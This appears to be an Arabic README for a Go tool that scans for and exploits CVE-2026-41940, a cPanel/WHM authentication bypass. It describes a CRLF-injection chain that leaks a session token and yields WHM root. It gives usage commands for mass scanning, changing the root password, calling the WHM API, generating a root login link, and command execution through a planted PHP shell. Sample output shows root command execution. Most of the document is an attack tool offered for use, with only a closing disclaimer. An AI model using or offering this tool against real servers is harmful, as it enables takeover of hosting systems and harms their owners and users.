
أداة فحص واستغلال مبنية على لغة Go لثغرة CVE-2026-41940، وهي تجاوز للمصادقة في cPanel/WHM. تدعم الفحص الجماعي، وتسريب الرموز المميزة، وإجراءات ما بعد الاستغلال مثل تنفيذ الأوامر عن بُعد (RCE)، وتغيير كلمة المرور، واستدعاءات API.
أداة سطر أوامر مكتوبة بلغة Go، أُعيدت كتابتها بناءً على PoC بلغة Python من watchTowr، لاكتشاف واستغلال ثغرة CVE-2026-41940 الخاصة بتجاوز المصادقة في cPanel/WHM.
CVE-2026-41940 هي ثغرة تجاوز مصادقة في cPanel/WHM، حيث يستغل سلسلة الهجوم حقن CRLF في ترويسة Basic Auth لتسريب رمز الأمان والحصول على صلاحيات root في WHM.
سلسلة الهجوم من 4 مراحل:
/login/ للحصول على ملف تعريف الارتباط الخام whostmgrsessionAuthorization: Basic لإجبار الخادم على تسريب رمز الأمان cpsess في ترويسة Location الخاصة بإعادة التوجيه 307do_token_denied لنشر بيانات المصادقة المحقونة من التخزين الخام إلى ذاكرة التخزين المؤقت/json-api/version للتحقق من الحصول على صلاحيات roothttp:// و https:// والتنسيق بدون بروتوكول، مع إزالة التكرار تلقائيًا-passwd)-api)-session)-cmd)[VULN] باللون الأحمر و [SAFE] باللون الأخضر# يتطلب Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| المعامل | الوصف | مثال |
|---|---|---|
-u | عنوان URL لهدف واحد | -u https://1.2.3.4:2087 |
-f | ملف يحتوي على قائمة عناوين URL | -f targets.txt |
-o | مسار ملف الإخراج (الافتراضي result.txt) | -o vuln.txt |
-c | عدد التزامن (الافتراضي 10) | -c 20 |
-hostname | تحديد ترويسة Host يدويًا (الافتراضي: اكتشاف تلقائي) | -hostname cpanel.example.com |
-passwd | تغيير كلمة مرور root (وضع -u فقط) | -passwd NewP@ss123 |
-api | استدعاء دالة من WHM API (وضع -u فقط) | -api listaccts |
-api-params | معاملات WHM API، مفصولة بفواصل | -api-params user=root,password=123 |
-session | إنشاء رابط تسجيل دخول root بنقرة واحدة (وضع -u فقط) | -session |
-keep | الاحتفاظ بالحساب المؤقت لـ RCE وعدم حذفه (يُستخدم مع -cmd) | -keep |
-cmd | تنفيذ أمر عن بُعد / RCE (وضع -u فقط) | -cmd "id" |
./cpanel-checker -u https://target:2087
المنفذ الافتراضي هو 2087، والطرق التالية متكافئة:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
يدعم ملف targets.txt التنسيقات التالية (هدف واحد في كل سطر، الأسطر التي تبدأ بـ # تعتبر تعليقات):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# هذا تعليق
http://1.1.1.1 و https://1.1.1.1 يُعتبران نفس الهدف ويُفحصان مرة واحدة فقطhttps://2087 تلقائيًاresult.txt (يمكن تخصيصه عبر -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# سرد جميع الحسابات
./cpanel-checker -u https://target:2087 -api listaccts
# استدعاء مع معاملات
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
يُخرج رابطًا، وعند فتحه في المتصفح ستدخل مباشرة إلى لوحة إدارة WHM. يمكنك استخدام ميزة Terminal في اللوحة للحصول على قشرة root تفاعلية.
ملاحظة:
-sessionشبه تلقائي — بعد أن تولّد الأداة رابط تسجيل الدخول، تحتاج إلى فتحه يدويًا في المتصفح.
./cpanel-checker -u https://target:2087 -cmd "id"
أضف -keep للاحتفاظ بالحساب المؤقت، لتسجيل الدخول إلى لوحة cPanel:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
عند استخدام -keep، سيتضمن الإخراج اسم المستخدم وكلمة المرور للحساب المؤقت وعنوان تسجيل دخول cPanel (https://host:2083)، ويمكنك استخدام هذه البيانات مباشرة لتسجيل الدخول إلى لوحة cPanel.
-cmd تلقائي بالكامل ولا يتطلب أي إجراء يدوي آخر. التدفق الداخلي:
~/public_html/ عبر UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php عبر HTTP لتنفيذ الأوامرالمتطلب المسبق: يجب أن يكون المنفذ 80 أو 443 على الهدف قابلًا للوصول، ويجب أن يكون Apache/httpd قيد التشغيل.
يمكن استخدام عدة معاملات استغلال في نفس الوقت:
# الحصول على رابط تسجيل الدخول وتنفيذ أمر وتغيير كلمة المرور في نفس الوقت
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
عندما لا يتطابق عنوان IP للهدف مع اسم المضيف المُعد في cPanel، يمكنك تحديده يدويًا:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
افتراضيًا، تكتشف الأداة اسم المضيف الصحيح تلقائيًا عبر إعادة التوجيه 307 من /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== اكتمل الفحص ==========
الإجمالي: 5 | يوجد ثغرة: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] تم حفظ النتائج في result.txt
[*] الهدف: https://target:2087
[*] الوضع: استغلال
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] تم الحصول على صلاحيات WHM root
[*] تنفيذ الأمر عن بُعد (RCE)...
[a] إنشاء حساب مؤقت: tmpabcde
[b] كتابة القشرة: /home/tmpabcde/public_html/random.php
[c] تنفيذ الأمر: id
[d] تنظيف الحساب المؤقت: tmpabcde
[+] مخرجات الأمر:
uid=0(root) gid=0(root) groups=0(root)
[+] اكتمل. تم التحكم في https://target:2087
-passwd و -api و -session و -cmd) متاحة فقط في وضع الهدف الواحد -u، ولا تدعم وضع الفحص الجماعي -f# في ملف عناوين URL يتم تجاهلهاهذه الأداة مخصصة لاختبارات الأمان المصرح بها وأغراض البحث فقط. اختبار الأنظمة دون إذن يُعد عملًا غير قانوني. يجب على المستخدم التأكد من حصوله على إذن كتابي صريح من مالك النظام المستهدف. المؤلف غير مسؤول عن أي إساءة استخدام.